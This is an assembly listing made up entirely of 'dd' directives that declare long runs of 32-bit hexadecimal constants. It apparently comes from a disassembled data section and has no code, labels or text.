dd 45A9DA00h, 780C3D51h, 151CD8F3h, 95E2310h, 3E6FE8Ch
dd 0FA5DA70Eh, 2DB14A1Eh, 0C5B49ED6h, 2172854h, 5CC90976h
dd 0A4CC7230h, 9DD1430Ch, 0E5984DCEh, 243483C0h, 0C37AE4BAh
dd 9B12FEFEh, 8283F9CCh, 0C8B32B4Bh, 0FF378AAEh, 86D14CDEh
dd 0B957DEE3h, 0F3D0BD73h, 0ED4FCE3Ch, 4AE50C4Ah, 5B2D7760h
dd 5E9D27DBh, 4E849CCCh, 0D2EAD329h, 8A28BBAh, 88A2DA83h
dd 0BFF72995h, 43373ECBh, 0FCA80ECCh, 0F6BCB2AFh, 0EED7C2BCh
dd 0D9655823h, 30B1985Fh, 78C90439h, 0AF2E9DBDh, 0CAF223E4h
dd 8DBD6641h, 837921D1h, 7A996A05h, 877FDF8Ch, 5B8C1865h
dd 0F3178711h, 0F1457E55h, 3BBE4DCBh, 764BA9FDh, 0A94B0C70h
dd 0D82705Dh, 18827771h, 0D9A32EC8h, 380508C7h, 0F97F50FEh
dd 105466E4h, 88E847CBh, 0E0E8746Ch, 0FD0027E3h, 9FF1D28h
dd 0BFD5254Ch, 0BB3BE397h, 2055D868h, 0CCE79DF8h, 83D49F8Fh
dd 89A61D8Bh, 33A0630Bh, 46359DF0h, 2FE49810h, 9228F731h
dd 0D7D4ED7Fh, 93929C1Ah, 18D858DEh, 0D00E312h, 0D7F79228h
dd 0A60DB837h, 73F11A01h, 1DD4ACC9h, 133C407Bh, 0A0C866A9h
dd 0EB9489BEh, 953ADF3Ch, 0A6A6033h, 9E88CBD8h, 0C628D118h
dd 0BF04E132h, 0AE2A29CAh, 8BE77B27h, 8128F368h, 0F3445EDFh
dd 49D56334h, 7295C3EFh, 6A37B60Dh, 0A83693AAh, 0DFFAA4DCh
dd 238C88CBh, 0BC8DBB8h, 27038688h, 39653CA3h, 9A890922h
dd 66E0856Eh, 0C318D178h, 83AE43BCh, 1AA2ED5Eh, 44BAE4CCh
dd 0A579BFA2h, 96ED20EFh, 0BF7B0EC6h, 53ED09B4h, 5D8BF589h
dd 2D8DF609h, 0A95E4C0Dh, 1949337Bh, 4A927746h, 87867653h
dd 2E207D30h, 0F882A921h, 48A15A66h, 81A102BEh, 704F83h
dd 6E3C66DFh, 3B988h, 2F8296ECh, 0BAA58C19h, 0C20C530Fh
dd 89B6667Ch, 6EE7933h, 0EC098D80h, 0A6BA2ACDh, 264FE693h
dd 0AAE13CFFh, 0DCBA503h, 9D6632D4h, 0CA6C8D93h, 83CCA8B8h
dd 0D1EC5E73h, 0C40E18EAh, 0CE511516h, 0B7066C61h, 7EC47DF6h
dd 81714CC4h, 471C3881h, 15A6A5D2h, 67FD16A6h, 6BA84048h
dd 6835324Dh, 99A50177h, 6458575Bh, 0EF8427EBh, 0B889225Ch
dd 8E051876h, 0A73A77DEh, 70E2F858h, 0F1239B3Ch, 315672DEh
dd 0FDE13272h, 0FB620E38h, 385378EEh, 7FA29339h, 4D88405Ah
dd 3C4C0F0Fh, 5AEF67F9h, 3CAD3FD1h, 6B62946h, 7D91A578h
dd 0E83031A4h, 0F72C01B2h, 0BF6A28Ah, 0D96D2B25h, 42124EA3h
dd 4C38D3F9h, 0FDA36D16h, 0A966884Bh, 9262E98Ch, 367D4769h
dd 605A00E8h, 4D24C23Ch, 0B761B795h, 8F8AD147h, 9BFD37F2h
dd 18BB1446h, 5E6ED2B9h, 0FC3CF0DFh, 979741ECh, 49390BDBh
dd 0BDA34244h, 16613977h, 0F71AF712h, 66FF51E8h, 4F5E61DDh
dd 8879763Fh, 0BC30E857h, 0D3A8B27Eh, 2DFC17EDh, 3F0AF48Ch
dd 0AE46BCC3h, 0AD9C7F4Eh, 2D66A2C0h, 1B2882C9h, 9DF4D018h
dd 26E088Eh, 0BE12FE68h, 0A3786BD2h, 8ABB3025h, 32D7107Ch
dd 0F3E37E22h, 93F55E63h, 0EA09E179h, 20E484Bh, 78C3C484h
dd 1049FC0Eh, 0B8E34426h, 0A2618B95h, 0C3B43AB1h, 7E0F33C9h
dd 8E2B2B13h, 8D26A43Fh, 0E4E2FB2h, 693C7E20h, 0AB5C515Dh
dd 992AE61Eh, 43FD12C5h
dd 0E142840Ch, 1B80C6C9h, 0A48BBE5Dh, 0F6C9E5B7h, 3EBEBF16h
dd 0A1E05624h, 0D5F1C4E1h, 417146CDh, 0A2DC8C9Ah, 92C77EDCh
dd 755CC04Dh, 0E3795ADCh, 6C92F5Fh, 8986D53h, 0B72ACA84h
dd 0FCF6A9BEh, 0C894D978h, 5C6D448Dh, 81454690h, 402FBBDDh
dd 0CF046150h, 0B6685287h, 0D05010F5h, 97DF39A3h, 89DA06A7h
dd 8C80E723h, 0D773E0C0h, 8DE26940h, 603F0B3h, 81DEE7Bh
dd 4288FB3Fh, 8CA8392Ch, 0C34DD1D5h, 7472FC0Ah, 4451C2F9h
dd 745210F0h, 9BFC5C00h, 0E2232879h, 0C91C80A7h, 6266B26Eh
dd 0E51E4DFFh, 0BD1B3A9Dh, 9A73D36Fh, 58711A9Dh, 87CD947Eh
dd 2C997BB8h, 564C2E06h, 0AAC7EC9Dh, 17E77432h, 0BE7536BEh
dd 81740FBBh, 974CE82Fh, 661AA111h, 70B9C59Fh, 1532FB5Bh
dd 859BAB8Dh, 0CFE4B1F7h, 40C20917h, 0FFE6C2FFh, 89BED8D9h
dd 92C760Dh, 7EE471E4h, 0A035E7B7h, 0D19CF6DDh, 0CBFA8DFAh
dd 0AD7B3949h, 5C782482h, 4080BB50h, 0EDA9C7A9h, 9C1FA964h
dd 3E19361Ch, 5EC801F6h, 0E903D084h, 0B4CE9200h, 0BADD2FB9h
dd 143DB1DCh, 0BBFC3F06h, 2C466AEEh, 0F2F088F4h, 0E4E296ADh
dd 329DF63Ah, 2E2373E7h, 81662710h, 4B65209Ah, 7359CD51h
dd 910C33F2h, 0B04E0074h, 87C63163h, 537882C7h, 3E36DACCh
dd 961F560h, 0FB71C0FFh, 7830B8Bh, 0F70AF9DCh, 363FFCF1h
dd 27733E21h, 5FCFF4ECh, 924CF7Eh, 0E9A1439Dh, 7D9E80E2h
dd 8EF4FDDAh, 9CB9922h, 7B79CAACh, 3A11E69Fh, 5B0FDB94h
dd 5A7CDA68h, 1D01E924h, 0D3ED187Dh, 488F95DCh, 2FFD15A0h
dd 0B1472F6Fh, 0F1AAC492h, 0B0585542h, 0F108CEB3h, 0AEC5F482h
dd 6B243F50h, 412BE965h, 38BC8A26h, 6759B295h, 0CD12E8B9h
dd 7607D2C7h, 44C66712h, 0B9109941h, 91BE80FFh, 37D63400h
dd 18E9C926h, 0A9FA16A2h, 0EFC3A49Bh, 5F663117h, 88470AA6h
dd 45E063Ah, 0EAA1C12Fh, 452A47E1h, 0E61022E1h, 58E5FAD5h
dd 0B0811A3h, 0F2CC6DA2h, 926AF1Bh, 0A415F4A5h, 0E18FADCh
dd 0C075C5C0h, 20AA50EEh, 0BB343F3Ch, 4B758FDEh, 0DB9FE9C9h
dd 5DC647F5h, 0D0C48A8Ch, 0A720ABA2h, 86062BAEh, 98335A02h
dd 28B97873h, 0FE0BBED5h, 4165EBD6h, 0DB9174ACh, 0BED4A2DCh
dd 180565F2h, 1E7632C0h, 8B9953Dh, 0C260131Eh, 8E3DD52Ch
dd 0B4203135h, 75D3F47Ch, 8424B2B4h, 9AB1656h, 693EE4E2h
dd 90DAA57Ah, 941CC045h, 24196E15h, 55985BF1h, 628B1DEEh
dd 0B7861053h, 6ED0F680h, 0CCED7DBDh, 0B79478Ah, 0C19D3A5Ah
dd 566DE183h, 32A4731Ah, 0FFD5C171h, 0A9FAEC84h, 0E6A5B8BCh
dd 903F26E8h, 849B68B1h, 386B5A05h, 0ED28B5F2h, 7623FE75h
dd 92C4D41Fh, 97268DFCh, 9C5C916h, 8D24B41Ch, 0C0DA78A1h
dd 0D675C360h, 0D98FB309h, 1591085h, 8CFEB9C8h, 248DF86Bh
dd 0FA0002D0h, 38FF9A4Dh, 0EE0B8F50h, 94A1859Ch, 0A118C937h
dd 0A8EA1E99h, 0D50E095Eh, 7C32324Ch, 612D5ECFh, 0C1A7EE83h
dd 0E2D7BF85h, 1946634h, 9362FE15h, 0F42C60Eh, 0AD8EA564h
dd 71AE5497h, 5CBB3351h, 8C5CFCC1h, 8EF1C5F3h, 884D2D0Eh
dd 0E7DD0EAFh, 31B377A1h, 86F7094h, 0A46046D4h, 207F2AB4h
dd 0E20613B3h, 1EC89D62h, 0C97F64AEh, 27F1F5E1h, 60C02E15h
dd 108810ACh, 4F392660h, 0DD5717A7h, 0D714F5B3h, 5343BF35h
dd 136DC0Bh, 20BE1E71h, 0BDE52E9Eh, 0B9B4C1B3h, 0C5CBA4E8h
dd 0C74E1960h, 72D7D7A6h, 3D60BBBCh, 0B3D5CE3Dh, 0A5722F3Bh
dd 42A440BFh, 972E5B4Dh, 940E2E5Fh, 3365A3B9h, 0D34148EBh
dd 0C75F748Dh, 0EAB4CD79h, 0F44BBA10h, 3816DD50h, 80CCCC6Ah
dd 852435ABh, 7EB28CD4h, 0DB6DDDB7h, 0EACF3B94h, 0EC216B09h
dd 933A15AFh, 0DA079D14h, 76706E70h, 815965CBh, 2A802CD5h
dd 0A5CE0C8Ah, 0E9B55585h, 2A7A1608h, 0E663B133h, 11A3ED0Eh
dd 5C85A6A1h, 0F5B02444h, 0B4E2172Ch, 0CBA1611Eh, 249F8D56h
dd 844A60Ch, 0B19C5915h, 0C1BAA159h, 5E95EDFDh, 0E4172088h
dd 0F5547Bh, 0F0070E94h, 6D119286h, 0CD4AE6E5h, 0D754A00Ah
dd 94CEEA81h, 0DF33DF8Ch, 0A695806h, 0E9A672E3h, 518E6C2Bh
dd 1E8DD4A8h, 491F7BE4h, 8A1B0C0Bh, 71DC5405h, 5C2DEF97h
dd 0EED6C99Bh, 7169D87Bh, 8F8E416h, 1B4371B8h, 0FFB2AC0Eh
dd 0BB1ED003h, 0AAE9CBBEh, 94A4DDB2h, 0B4D391E6h, 0E87CE4B8h
dd 0CB811B45h, 0E2663B0Ah, 0BF8F0A5Ah, 0B0E32C93h, 961A1DB3h
dd 6AAAE1EBh, 5073D7BFh, 976EF63Bh, 9400ED5Bh, 0D41FCE9h
dd 47007095h, 27B8A3F8h, 0ED41F8F5h, 4C1850B6h, 2C2E4B5h
dd 7EB5BB77h, 9CFE256Ah, 0A0044D57h, 0D6B01168h, 0D8DBE454h
dd 44161CFDh, 300C063h, 876C18C4h, 69642C14h, 4221D236h
dd 0DE1AA05Dh, 0EE98351Ah, 0A6273E92h, 0B28F94F9h, 0D6E6ECD7h
dd 0D7B4D9ACh, 0DA5BC2h, 219DC956h, 0F4E08386h, 9BA48D9Ch
dd 0F8BE211Eh, 930881FAh, 5D85F9F6h, 7D35448Ah, 5E2B4F4Eh
dd 8F779F4Eh, 0DD258370h, 27467923h, 0BDEC3939h, 0D7B0F6C1h
dd 0DD6CE28Ch, 8348B8DEh, 1AACE853h, 0F27C8E09h, 4F124F2Bh
dd 0EE4EB887h, 0A7E7CC9Dh, 30512FC5h, 302C1254h, 0E3DE2164h
dd 0C6465C20h, 0E6F21293h, 2DCF62ABh, 36AE77CEh, 2C177E73h
dd 9620D640h, 0FA3CE588h, 328E3FE6h, 238954FCh, 0D7AE83Dh
dd 9E825B4Eh, 62E538Ah, 6A87563Ah, 1E84ACCAh, 0C5A6E66Ah
dd 31ACE7A1h, 69EAFBC5h, 959ACE6Bh, 3B658022h, 82742C97h
dd 287A813Eh, 0D198259Ah, 77B947B5h, 5D289BFCh, 0F34CB9Ah
dd 2D2817EDh, 0AA37F02Eh, 62D5F233h, 0C82C93B4h, 1D22F33Eh
dd 4DBF2C98h, 0FB417D73h, 5DB5DF50h, 0B3B1ADA8h, 30E819FCh
dd 5CB2841Dh, 107E5C2Ah, 0EAB38687h, 0EA0AC50Ah, 14B2FBACh
dd 0B3E72A2Eh, 0A690808h, 0CCAC6DC6h, 9380C2D1h, 0E29CA51Eh
dd 3E00AB63h, 221D80CEh, 0F151B09Bh, 0DC644DABh, 0FF939EACh
dd 0BC6F78Ch, 3A449EB3h, 8CADD61Ah, 0EF898025h, 0B46863FBh
dd 775B825Fh, 0A2048057h, 8D036CC7h, 485EBF35h, 83D04AECh
dd 17DE2F17h, 1CA8D82Ah, 0C47E562Ah, 0E78A98FAh, 0BBB0161Eh
dd 520168C9h, 7D4BA433h, 11A4322Eh, 4F927Bh, 9807E3E0h
dd 32CF8989h, 405AADECh, 6277816Dh, 0DC3E2ADh, 0DEC2DA8Eh
dd 74F2E477h, 1CE617BDh, 0E0522E1Ah, 774EB6E3h, 97B4FB55h
dd 0ECA605EAh, 923826AFh, 0EE8BBB50h, 6D8F2656h, 43E8C22Ah
dd 99FE8662h, 638337B9h, 6F24011Dh, 8B0D8561h, 0D357C892h
dd 0D3D76C54h, 23CDE5ACh, 0E8BC9F9Ch, 5123F766h, 0DDC8EA01h
dd 9CFFD2B6h, 19D3107Bh, 484612A4h, 4BCDA928h, 16F3A02Ch
dd 5A96605Dh, 5DA37AA8h, 68E6602h, 0DDCAF590h, 0BDBC9AE6h
dd 6EF2DA09h, 0FC6E9906h, 0EBE50E63h, 91665570h, 0E71866AAh
dd 31D28AD4h, 71A64899h, 0BAA54BA0h, 0CBB90CDh, 64363326h
dd 92C40074h, 0DBADE647h, 392EF1FDh, 0AB981D72h, 0F1E05B43h
dd 4F29BB25h, 79D27332h, 245E6EC1h, 0ACC4C578h, 1A4FD47Dh
dd 1DA0060Ch, 46A6CC23h, 0A40DD787h, 19FF21D8h, 4C6386A3h
dd 5B243AAFh, 0FDAECF49h, 0A16BA3DAh, 0F812C756h, 204B7DA1h
dd 0EBE6AAEAh, 53946B14h, 0D626B3D4h, 46607D65h, 0CB960041h
dd 5499D77Eh, 78A74B5Ch, 0BE333962h, 51763F11h, 0E00052BCh
dd 0E97D6559h, 246B9595h, 65FCAFDEh, 77C597C6h, 6D4F30F7h
dd 0CEB030DDh, 12D7D0E6h, 0C1B31381h, 0C1AFADFDh, 94B41EE8h
dd 7F6A89D7h, 0CFF0D986h
dd 0CDEA3B11h, 9D3F848Ch, 0B86D6308h, 0BC6FD675h, 2296AFC2h
dd 345E9613h, 60FBC591h, 1692FC70h, 0EDA176A4h, 6BF1DEF5h
dd 0D57577B5h, 52D9502Ah, 5ADE570Ah, 8E5B2979h, 90E9026Eh
dd 87CA554Eh, 38EB9B69h, 7B6D0820h, 394A030h, 413A901Ch
dd 0ECCEF5D7h, 5B2E3F06h, 0F92D5FD8h, 6A67958Eh, 4F85FE3Bh
dd 5378C77Bh, 77065DFFh, 8A7F2573h, 368511F2h, 7B3F2CEBh
dd 0D7A0796Bh, 55D90305h, 0C0461F2Eh, 5900A1A5h, 0A371DF86h
dd 17399641h, 696E1B7Ch, 2FEF4823h, 0E01B293Eh, 0A92327D2h
dd 7238B80Bh, 74D4A2F8h, 0E4DD5EF1h, 0D59DCD11h, 0DAFF29DBh
dd 43A7A08h, 19CC639Ah, 71529660h, 0AE2D74D8h, 4B4B7395h
dd 99FA3333h, 0A50D2068h, 9B425DA0h, 681DF7Bh, 43344FA7h
dd 58FF6B30h, 10BA52CEh, 0F64632CCh, 932BDEBEh, 2A2D03C3h
dd 11FE3CCEh, 0F660E15Eh, 0B274EEE6h, 309D1DAEh, 5B023649h
dd 48BB3DFAh, 81E37B1Dh, 302EDA75h, 64F629C8h, 96EA2C11h
dd 0C09560A6h, 3683FF4Eh, 4683618Ah, 0FF93504Dh, 0FF7BB04Dh
dd 0D7AEBC1h, 0A56576EAh, 4D452547h, 10055D1Ch, 78B84551h
dd 0E369BA9Eh, 0E1504BA5h, 0F4189251h, 0D5C48523h, 6AA3DE69h
dd 492EE02Dh, 0A6D2DB7Ch, 6C10A032h, 0C9EBF2FCh, 5016850Fh
dd 7D6565E3h, 0C97F3E8Ah, 0DE6ECCCFh, 0B201D3F9h, 2FBAB217h
dd 0D997950Dh, 864E3F24h, 9BDDAE7Eh, 24F32741h, 7A7A2FFDh
dd 0F71B2D54h, 4B3BE0DCh, 12CCE9B5h, 6A3BD01h, 9D4287EBh
dd 2C8F5FEh, 30D65E05h, 462D97E2h, 0F0D3883Fh, 81CB1DF7h
dd 746F71h, 20A49C24h, 47FBC03Dh, 0F44F45DFh, 9097C319h
dd 9266D468h, 0D97D2B75h, 568CB521h, 4AF8B72Ah, 1B3FC085h
dd 0ED1F42ACh, 724736C1h, 1037AD94h, 0C1749ACBh, 8FA9DAA5h
dd 0D3D25B5h, 0FF560EFh, 0B5EF114Fh, 36E101E2h, 14D267FAh
dd 9B4F65F6h, 5D615EA4h, 68D62859h, 90B0FF93h, 0C39D7726h
dd 371FF70Eh, 464165AAh, 0FFB3527Dh, 0FF0A3335h, 0D72AC45h
dd 0A57A56A8h, 4D473564h, 140F8D47h, 4C0283Dh, 4630F40Dh
dd 5C88F94Fh, 0A7411633h, 0EE92A195h, 38D9D89Bh, 3111987Fh
dd 6AA89000h, 30FC7549h, 9435FDEAh, 7926CDA9h, 754E16E6h
dd 88BDE17h, 0AC3E22Ah, 3A61A626h, 3D39946h, 23B9928Dh
dd 0BBB5A0D2h, 10D54450h, 2E8DD0BEh, 9942FF33h, 5BD3DD43h
dd 0BDB025CBh, 0EB85D2C5h, 0D21BFF33h, 0C5FE21F4h, 88180431h
dd 0AB1CF74h, 7D59D361h, 795912A5h, 7876D4B9h, 83EFE49Eh
dd 155C5D1Eh, 98AB7D5Fh, 4E44BC45h, 0F5E9529Bh, 1CD733D7h
dd 0E7F5AC2Dh, 96B5BE0h, 0FC7CB90Bh, 4D055277h, 0E003D15Eh
dd 0FE074C94h, 5BC35D81h, 0B22526F7h, 0AB9160FDh, 94C8E548h
dd 75EE4C9h, 94926644h, 0DFE19B94h, 31141DFAh, 0CD4E1E7Ch
dd 3ECE3DCBh, 0D64152D3h, 0E36C9FE8h, 0C167FD20h, 333395BCh
dd 0EEB46500h, 57ECFE7Ah, 1C5B8FCDh, 788A53B7h, 0AC02208Fh
dd 0A68EC2F5h, 3C69AA2Dh, 0BBC0A521h, 661D696Ch, 0B93994Dh
dd 7570E6ACh, 62D5FE72h, 0FED9DF28h, 8F16736Fh, 79C06C84h
dd 50ABDD62h, 7A94EBC6h, 27EAF1BEh, 82EA6684h, 4BF92116h
dd 50A133C0h, 0ACAB8A04h, 9FA65A8Ch, 0C8B841ADh, 331C478Fh
dd 58032CBh, 0FE659EE9h, 0E1FB0ADBh, 0C136C99h, 0F876A133h
dd 0F49416Ah, 0A81805B8h, 9033A70Dh, 0BC47EE71h, 0E9654FF6h
dd 7C02A8Ch, 0E30FB96Ch, 78362FFFh, 0B8240364h, 5756B840h
dd 8CBB733Ah, 0E80C4467h, 317AB643h, 1039C3F9h, 0E8A70FBh
dd 536BB785h, 0FFCB906h, 824061CEh, 0ECA884A3h, 0EF02289h
dd 150DA56Dh, 1E2D8D7Dh, 96BDF7Ch, 84F72218h, 9215962Eh
dd 0FBB936C2h, 0DA139D19h, 0C1E6E205h, 0DC316AF9h, 0BCF1A2D7h
dd 24D5EB63h, 0E99C0D05h, 3CAD0441h, 0D8C7E479h, 46E6F28Fh
dd 0A8A101D7h, 0AB736BBAh, 99772C89h, 2F477390h, 51B8D5EBh
dd 90115CDBh, 74CC84A7h, 0F9E1D37Fh, 0C4604F69h, 9CCEEEC3h
dd 269C011Dh, 0DCD9D161h, 6C2127A5h, 8C2D976Ch, 0D642AE4h
dd 13856B83h, 222B1E42h, 2F629AFEh, 87D87F47h, 43DB8C28h
dd 8344D30Bh, 37400C65h, 2FCD1F7Ah, 44436165h, 193DB12Eh
dd 8EBA450Dh, 9C6B22BEh, 0E1247EC9h, 0C1D151FBh, 505E34FEh
dd 0A7E70CFAh, 5BF73474h, 671AF7DDh, 2E3F4591h, 92A659C9h
dd 85DCA6FAh, 78DB2F7Fh, 8FDB1B2Dh, 0CB26ED9Fh, 0F34361B4h
dd 2BB487Fh, 0FC3DB239h, 218E3CA1h, 416A837Dh, 0E37C5865h
dd 0DC43C39Eh, 600830F3h, 1D2AA926h, 7A901EE0h, 0C5A5D74Dh
dd 826865D1h, 60F44882h, 0A101F148h, 7901D1Bh, 0FF4FBA28h
dd 9D58B609h, 0A21FFDFAh, 89A15809h, 0ACB0559Ah, 9386A7FFh
dd 91488710h, 9917F041h, 0A0D3154Dh, 0B9E09F77h, 54F8298Dh
dd 10F213E2h, 989C1300h, 0B29616D5h, 599D68BEh, 400D60ACh
dd 3860A8C5h, 0EE89DD7Eh, 0AB90725Ch, 7EE4AE46h, 22FD9632h
dd 26CE79E6h, 3C2EE4A3h, 77427C1Eh, 0F9BD4B5h, 0CC56EB9Dh
dd 61D00E43h, 0E3C5CAFAh, 273422BEh, 6F6D7440h, 0D2B82CFBh
dd 0FAB5A60h, 2CFBA6C6h, 0CADACC2h, 9234EED1h, 0F37CCC7Ah
dd 0EE2BC0FBh, 0F37C78F9h, 42CE8B16h, 5D99DCAAh, 936C5605h
dd 0E38DAC98h, 1DCF73BEh, 3BCF5955h, 0BFE9652h, 7569018Dh
dd 0CA832EDh, 864DE142h, 0A5DA8DC8h, 38C121BCh, 4BE9CF1Fh
dd 0EC5E55F0h, 0E90DCD69h, 0E77D8341h, 0A5835B05h, 0AF69E724h
dd 9330A982h, 0B0754634h, 8540358Bh, 0E9481469h, 91468D3Dh
dd 7397DF7Ch, 0A40DDD6Dh, 5C7B61A7h, 0AC9FA64Eh, 0C28D2547h
dd 58AED158h, 8DEC5BDh, 438FDA9Ch, 6C1D9AFFh, 9B986FEFh
dd 2CF51C90h, 0D8BFE981h, 0B9889FF5h, 578729AAh, 0B3C0DA25h
dd 4DF4A37Ah, 0A6762317h, 0B1CD66D7h, 6FFE1A7Ch, 0C276517Ch
dd 6F093080h, 76F8A9Fh, 66190133h, 0F615E90Ah, 9B8981D6h
dd 8288E499h, 8F57CA9Eh, 0C7E22B3h, 0C20754E7h, 0A85BE654h
dd 0B2B19AF7h, 0E2C78E12h, 1F6C6088h, 4AC4D391h, 0F88DB0F4h
dd 252B32E3h, 74CD24D2h, 1291A222h, 7FD9A0BBh, 43D32AD4h
dd 0E41C8AE5h, 424EB929h, 45ADF3B9h, 47F359F6h, 662225DEh
dd 7723C219h, 83C6D971h, 462429A9h, 90D33A41h, 97CED8C5h
dd 0BAD4F86Dh, 8B537DC2h, 0E47F604Bh, 46385677h, 0F98A4C74h
dd 0D69DB929h, 0F072C758h, 14965745h, 2C93462Bh, 937085CBh
dd 0C68B93Ah, 925035A6h, 965F9C45h, 65308D74h, 5B0B2083h
dd 57F4C50Ch, 13E4E24Fh, 0D71A42BFh, 0B7149EC9h, 71420641h
dd 8CA00509h, 46246D25h, 0F95836EBh, 0F5EC6C10h, 297257B5h
dd 0C8D794D9h, 0B5381C7Fh, 0A95138F1h, 0F898E8C2h, 0A20A550Fh
dd 98C796D7h, 7C6286DAh, 189F0h, 0B920B0DAh, 0C31EE97Fh
dd 0A490F1B8h, 0F3F03EACh, 0DF3AEFA2h, 3926954Ah, 96213E09h
dd 55D76CA4h, 1C54DF31h, 3E522666h, 808C1E4Dh, 0E60A6707h
dd 493CFBE3h, 0A9D8C2Bh, 0CAAF2DF8h, 0DEB07F62h, 0F1CB0AF3h
dd 0B24EFADEh, 0F37D54D1h, 66CCB8BAh, 7DFBD8AAh, 0F574A943h
dd 6421A523h, 0F779C9A6h, 0A9F78B85h, 438135D4h, 6715F945h
dd 71169496h, 0A75AF9D5h, 952FB463h, 79F9B19Dh, 2AD46F06h
dd 4B536FBAh, 86975E4Bh, 0A7775F77h, 1D46742Ch, 0E9420325h
dd 0A0D11C41h, 0BBA7E34Eh, 0BE272268h, 7B16574Bh, 1C20AAC6h
dd 0FFF3BBD4h, 60A65C80h, 999DECF6h, 0E7437743h, 4DA44BBBh
dd 614AE867h, 0B712E51Bh
dd 0AB51BE3Eh, 0D5AAB1E0h, 60765C5Ah, 360E6238h, 50EB3C4Ah
dd 9DDFFEECh, 4CFA0D91h, 0DD77FD61h, 0B9399F5Fh, 0A8553DB4h
dd 109DC123h, 0D4F65866h, 0A560F723h, 0D4E26936h, 0D588806Eh
dd 3F9C1CD9h, 82927683h, 849009ABh, 831798D3h, 0FEC5FF6Fh
dd 5FAB6E0Dh, 0F070E740h, 48B87C6Ch, 0ADA755C7h, 0D38AF30Bh
dd 0B7F40877h, 76F21659h, 78C6E70Fh, 2FE34CBFh, 0DB155AFAh
dd 3C18C977h, 29245A03h, 0CD8EBD4h, 0A16C81ADh, 313AA27Ah
dd 967EA94Eh, 0ADEDBF57h, 7BFEB2D3h, 47E4413Ch, 471B5EA6h
dd 0F15323CDh, 768684C1h, 631F1F2h, 91525994h, 85DD8EF0h
dd 88C8BD73h, 6FA92791h, 1D93568Fh, 0D35BDC3Dh, 5E32AC32h
dd 0D88C3894h, 0A8B0426Eh, 0F6621355h, 74AA5A7Ch, 27873DAEh
dd 6F451A75h, 1CC0B9C9h, 0FF2FB57Ch, 6950295Eh, 639420A3h
dd 9BE3219Dh, 0F40A795Ch, 0C082D8A7h, 73DB6D7Fh, 0F094CB92h
dd 0AC7ED205h, 0EE2A047Eh, 15A41189h, 0B81832E7h, 545B0700h
dd 8CE3ED92h, 0D178E4F4h, 32E4DAB4h, 0A834A9A7h, 1FF63AD2h
dd 0BD12C3EDh, 585915E3h, 0D274E341h, 2DEE3468h, 4F3D28AEh
dd 0A610056Ah, 0E380C74Ch, 0E25D4B4Ah, 3259C6A9h, 351F4E66h
dd 0EA0175D9h, 0B1AB61F4h, 0FC91AA09h, 8661151Eh, 1868523h
dd 0CF0A9AC0h, 0E753D113h, 6C677CBDh, 7ED8D532h, 0A0FCD160h
dd 97CCDF78h, 9EC43894h, 4F28D8DDh, 0C1CE1D80h, 7E3EB589h
dd 4229847Bh, 5AEEB3D3h, 11C936BAh, 1C2656BFh, 5152D4B8h
dd 620C5274h, 659B486h, 223B79DDh, 0D0AA3h, 769A715Ch
dd 7AA6FF19h, 0DCE95A8Ah, 8EA379C8h, 805898FCh, 843B0BA0h
dd 0B5DF6381h, 7360A746h, 0E4095CA7h, 454648C3h, 19271133h
dd 186B6279h, 7AE01E7Eh, 151D0B12h, 6DEF647Dh, 9863AD45h
dd 0B87CF4B8h, 6FD61C3h, 426628B9h, 0DC8DFC9Ah, 45CE103Bh
dd 0F21C2104h, 0E619EF9h, 61150B27h, 0FBAC0BE7h, 7166AB82h
dd 0C3B604F1h, 5DCA0810h, 0FECA3C62h, 8834684Ah, 41B1A3EAh
dd 0CBA671D9h, 5B6C351Bh, 188B0CA9h, 41889961h, 7DF34C8Fh
dd 0E417C161h, 0B705F6C3h, 0D6D943FEh, 0B02B897Fh, 6F3669F6h
dd 0FBAD248Fh, 1EFF914Ch, 0C33A8556h, 0AA643840h, 969142E6h
dd 0F1085922h, 494DB87h, 4EDB2C4Fh, 0ACFBE2ECh, 18D95EB8h
dd 0A5CCA4F0h, 53114025h, 7C4E1328h, 0FB80D6FFh, 0A5BBF752h
dd 57C94479h, 1E3165BEh, 0DB23AEAAh, 0D415AF34h, 0A4C40208h
dd 0B1C12081h, 8F052F32h, 910A1AF9h, 852E48C0h, 0B1E6409h
dd 8BD72DD3h, 1A6CE8B4h, 0DD285D8Fh, 8A31038Bh, 0B13081D1h
dd 7366A766h, 0F27434D0h, 41D7D4CBh, 1B775835h, 590A8380h
dd 0FF1C698Eh, 7940C89Eh, 2DEB639Dh, 0B865AF59h, 0C87DF3B0h
dd 0CFDE04Fh, 831599B9h, 4EB42DEh, 56026B72h, 0FD4A29Dh
dd 0D0DDDF84h, 0A443D656h, 31B083EEh, 1D92FA4Ch, 7B7351BAh
dd 0FFF434FAh, 40D14382h, 8DC4FBF7h, 0BE409382h, 0B6FC5D97h
dd 0D20C0641h, 5486386Fh, 0B81EECCCh, 0EFCAF4F4h, 0A17C1806h
dd 0D2B3C8BFh, 4331D729h, 0DE534665h, 0E6D512F7h, 0FBEB41DEh
dd 36DCA36Fh, 60D2057Ah, 0B5B20161h, 0AAEF9738h, 0E8DCD6B3h
dd 43F3C340h, 0A4DE1E5Fh, 40BE5B88h, 6435A4F8h, 531A849Fh
dd 0C992DA25h, 2532AC83h, 0C6884ECEh, 0B13E0A8h, 2B1EB13Dh
dd 0D2FCB0DFh, 3E27AF7Ah, 45052CB8h, 0B58C8E76h, 7F7CED02h
dd 59C9D1Eh, 84C13614h, 945624EAh, 0BE5976Eh, 4BF5310Fh
dd 11459AC6h, 2B5DCFFDh, 0DB8C99B9h, 0E7C0E9h, 19D0FD0Dh
dd 0A3FCACC0h, 7C511B3Fh, 61A00390h, 0E6ECEF99h, 7AF2B306h
dd 0E0233C85h, 47F46CA3h, 0E9D22BC8h, 0DFB9B962h, 0FB642D70h
dd 0BB9A2C57h, 0E68C3FACh, 86CB3126h, 0E921EA1Ch, 38F0F98Eh
dd 58BD1C0Ah, 6BCAAEF3h, 0C2924E1Bh, 0BF0E0804h, 0FF02E9E6h
dd 8636B7E1h, 9E5087Ch, 177759E6h, 67CD7B14h, 5BB8D5DDh
dd 6750DBA8h, 0F39666B1h, 596D2A79h, 7D3380Dh, 2B0D715Fh
dd 0EC3555Eh, 0CA76AE06h, 743FF9E3h, 7D52CAFh, 0CC9BB011h
dd 0A08333B6h, 4A86EFAAh, 0FE2A7CEh, 7E983089h, 911D08E6h
dd 33A89411h, 0F93B9FC5h, 29C2A65Eh, 9426341Ah, 62FFF118h
dd 0C663904Fh, 0F6F72D1h, 4E22B3DFh, 6A2F7AA2h, 4E7C3BFAh
dd 62C69C3h, 76A35DADh, 26E6B38Ch, 982BA911h, 983BDA0Ch
